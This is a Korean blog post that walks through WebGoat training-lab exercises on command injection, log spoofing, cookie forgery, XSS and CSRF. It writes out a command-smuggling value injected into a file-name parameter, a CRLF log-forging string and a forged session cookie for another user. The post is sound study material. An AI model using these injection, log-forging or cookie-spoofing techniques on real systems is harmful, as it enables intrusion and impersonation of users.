<p><code>Command Injection</code>은 말 그대로 명령어를 삽입하는 공격이다. 사용자의 입력 값이 운영체제 명령어로 실행되는 경우 의도치 않은 시스템 명령어가 실행돼 부적절하게 권한이 변경되거나 시스템 동작 및 운영에 악영향을 줄 수 있다. 일반적으로 명령어 라인의 파라미터나 스트림 입력 등 외부 입력을 사용하여 시스템 명령어를 생성하는 프로그램에서 발생한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/53b4de3f-fc4f-4ec1-8c90-75654b44a223/image.png" alt=""></p>
<h3 id="command-injection-실습">Command Injection 실습</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/aedabee4-b1c6-4ab8-b388-963823c302da/image.png" alt="">
우선 입력창이 없으니 기본적으로 <code>BurpSuite</code> 프록시로 데이터가 전송되는 모양을 살펴보자.</p>
<pre><code>HelpFile=AccessControlMatrix.help&amp;SUBMIT=View</code></pre><p>데이터는 위와 같은 모양으로 전송된다. 결과를 살펴보자.</p>
<pre><code>ExecResults for &#39;[/bin/sh, -c, cat &quot;/home/webgoat/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html&quot;]&#39;
Output...</code></pre><p>결과를 보면 <code>AccessControlMatrix.help</code>라는 데이터가 전송되면 <code>AccessControlMatrix.html</code>을 <code>cat</code>명령어로 보여주는 식의 동작 방식인 것 같다.
리눅스에서는 세미 콜론(;)을 사용하면 이전 명령어의 실행 여부와 관계없이 뒤에 위치한 명령어를 실행할 수 있다. 이 정보를 이용해서 알맞은 명령어 구문을 날려보자. 우선 <code>;ls</code> 구문을 날려보자.</p>
<pre><code>ExecResults for &#39;[/bin/sh, -c, cat &quot;/home/webgoat/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html;ls&quot;]&#39;
Returncode: 1
Bad return code (expected 0)</code></pre><p>모양을 살펴보니 <code>;ls</code>뒤에 큰 따옴표가 하나 붙어있다. 그렇다면 큰 따옴표를 신경써서 <code>&quot;;&quot;ls</code>라는 명령어를 날려보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/b1c994be-b70f-4ef6-84c3-138f71486605/image.png" alt="">
<code>Command Injection</code>이 성공적으로 진행되었다.</p>
<h3 id="log-spoofing-실습">Log Spoofing 실습</h3>
<p><code>Log Spoofing</code>은 말 그대로 로그를 변조하는 공격이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/33027635-5ed8-4f96-95bb-a01ec8d51932/image.png" alt="">
<code>admin</code>이 로그인 했던 것처럼 로그를 변조하는것이 목표인 문제이다. 우선 그냥 <code>admin</code>으로 로그인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/aa5bc5bf-e23f-45bf-b351-d65af110fe3a/image.png" alt="">
로그인이 실패했다는 로그가 남았다. 그렇다면 입력창 내부에서 개행을 한 후 똑같은 문자열을 입력해주면 되지 않을까? 입력창 내부 개행은 <code>%0d%0a</code>로 진행해준다.
<code>admin%0d%0aLogin successed for username: admin</code>를 입력해보자
<img src="https://velog.velcdn.com/images/gloomy_passion/post/2c2b39ac-cf79-4e5d-8efb-4ecd0f8138d5/image.png" alt="">
성공적으로 <code>admin</code>이 로그인 했다는 허위 로그를 남길 수 있었다.</p>
<h3 id="쿠키cookie">쿠키(Cookie)</h3>
<p>쿠키는 사용자의 웹 브라우저에 저장되는 작은 기록 정보 파일이다. 중요한 점은 웹 브라우저에 저장된다는 점이다. 저장된 정보를 다른 사람이 확인 가능하며, 유효시간이 지나면 사라진다. 쿠키를 사용하는 목적은 우선 세션 관리의 관점이 있고, 브라우저 개인 맞춤화, 트래킹 등의 목적이 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/a4781b59-ca2a-4efd-87b5-fdd7a38ad06f/image.png" alt=""></p>
<h3 id="spoof-and-authentication-cookie-실습">Spoof and Authentication Cookie 실습</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/2247c8cd-cd9e-4fcd-87c0-5463d6ba3d08/image.png" alt="">
사용자는 <code>webgoat/webgoat</code>, <code>aspect/aspect</code>로 로그인할 수 있고, <code>alice</code>의 쿠키를 알아내어 계정을 전환하는것이 목표이다.</p>
<p>우선 각 계정의 쿠키값을 알아보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/45935145-0dd0-4ac6-8687-d72c3c695674/image.png" alt="">
<code>webgoat</code>의 쿠키값은 <code>65432ubphcfx</code>이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/30a51cd9-cd90-4fb8-8cda-bb49894c63dd/image.png" alt="">
<code>aspect</code>의 쿠키값은 <code>65432udfqtb</code>이다.</p>
<p>이 둘 사이에서의 규칙을 찾은 후 <code>alice</code>의 쿠키값을 유추하는 문제로 보인다.
<code>webgoat</code>:<code>65432ubphcfx</code>
<code>aspect</code>:<code>65432udfqtb</code>
<code>alice</code>:<code>?</code></p>
<p><code>webgoat</code>과 <code>aspect</code>의 공통점은 둘 다 <code>t</code>로 끝난다는 것이고, 각각의 쿠키값의 공통점은 <code>65432</code>로 시작하고<code>u</code>로 시작한다는 점이다. 이러한 규칙으로 유추할 수 있는 부분은 각각의 문자를 알파벳 순서상 다음 문자로 변환한 후 반전시켰다는 것이다. 이러한 규칙으로 미루어보아 <code>alice</code>의 쿠키는 <code>65432fdjmb</code>로 유추할 수 있다. 개발자 도구를 이용해 쿠키값을 변경한 후 새로고침해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/b4bfa4ea-5a12-4556-9314-d099ad0fdd63/image.png" alt="">
로그인에 성공했다.</p>
<h3 id="세션session">세션(Session)</h3>
<p><code>HTTP Session ID</code>를 식별자로 구별하여 데이터를 사용자의 브라우저에 쿠키형태로 저장하는 것이 아닌 접속한 서버 DB에 저장한다. 세션 ID만 웹 브라우저에 저장되고 다른 정보들은 서버에 저장된다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/950ca5a9-ee2e-4ea6-b247-7ef1b0426794/image.png" alt="">
하지만 쿠키가 탈취되는 것 처럼 세션 ID도 탈취당하면 공격자가 해당 세션으로 접속할 수 있다. 하지만 사용자가 해당 웹 서버에서 로그아웃하게되면 세션 ID를 탈취한 공격자의 브라우저에서도 로그아웃된다.</p>
<h3 id="크로스-사이트-스크립팅cross-site-scripting-xss">크로스 사이트 스크립팅(Cross Site Scripting, XSS)</h3>
<p>웹 페이지에 악의적인 스크립트를 삽입하여 피해자의 브라우저에서 실행되게 유도하는 공격 기법이다.</p>
<ul>
<li><p><code>Reflect XSS</code>
공격자가 피해자의 이메일로 피싱 <code>URL</code>을 전달하고 피해자가 해당 링크를 클릭하게 되면 악성 스크립트가 담긴 응답 메시지를 서버로부터 받게된다. 공격자의 서버에서 피해자의 PC로 공격 스크립트가 전달되는 방식이고, 서버에 로그가 남지 않는 것이 특징이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/dc971664-b180-4011-8d93-dc0e24bf61c9/image.png" alt=""></p>
</li>
<li><p><code>Stored XSS</code>
공격자가 서버에 스크립트가 담긴 게시글 등을 등록한 후 피해자가 해당 게시글을 열람하게 되면 악성 스크립트가 실행되는 방식이다. 무작위 공격에는 편하지만 서버에 로그가 남는 것이 특징이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c3d77e90-2e69-43bd-9dee-33993346b6d2/image.png" alt=""></p>
</li>
</ul>
<h3 id="xss-실습">XSS 실습</h3>
<ul>
<li><p><code>Stored XSS</code>
<img src="https://velog.velcdn.com/images/gloomy_passion/post/e877b161-70bd-429f-8b12-f281bd736fc2/image.png" alt="">
입력창에 스크립트를 삽입하여 <code>alert</code>을 뛰워보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3eb22d35-31e5-4275-b3c1-547c7b59c01b/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3bed9813-90df-4944-9481-ce2fccfc542d/image.png" alt=""></p>
</li>
<li><p><code>Reflect XSS</code>
<img src="https://velog.velcdn.com/images/gloomy_passion/post/9a3fd8ae-9d8c-404c-8c03-0599cd6e3fe0/image.png" alt="">
비슷한 방식으로 모든 입력창에 스크립트를 삽입한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/0abf2d80-4e4f-4182-8ac9-5972547e2f8d/image.png" alt="">
<code>UpdateCart</code>버튼을 누르면 스크립트가 실행된다.</p>
</li>
</ul>
<h3 id="크로스사이트-요청-위조cross-site-request-forgerycsrf">크로스사이트 요청 위조(Cross Site Request Forgery,CSRF)</h3>
<p>불특정 다수를 대상으로 로그인 된 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/6f7322aa-e990-4ad7-8450-4eaf41ab2d8a/image.png" alt=""></p>
<ul>
<li><strong>CSRF 토큰</strong>
CSRF 토큰이란 서버에 들어온 요청이 실제 서버에서 허용한 요청이 맞는지 확인하기 위한 토큰이다. 서버에서는 클라이언트가 어떤 요청을 하면 해당 요청에 대한 응답 안에 숨겨진 태그로 CSRF 토큰을 같이 넘겨준다. 클라이언트가 특정 작업 수행 후 다시 해당 작업에 대한 요청과 CSRF 토큰을 보내면 서버에서는 해당 토큰을 검증한 이후 삭제한다. 이처럼 클라이언트가 어떤 작업을 수행하기 위해 서버에 요청했을 때, 서버에서 보낸 요청에 대한 알맞은 클라이언트의 응답인지 검증하기 위한 토큰이라고 할 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/3474a793-3844-4ef4-83d6-b0ab9745563b/image.png" alt="">
출처: <a href="https://codevang.tistory.com/282">https://codevang.tistory.com/282</a></li>
</ul>
]]></description>
        </item>
    </channel>
</rss>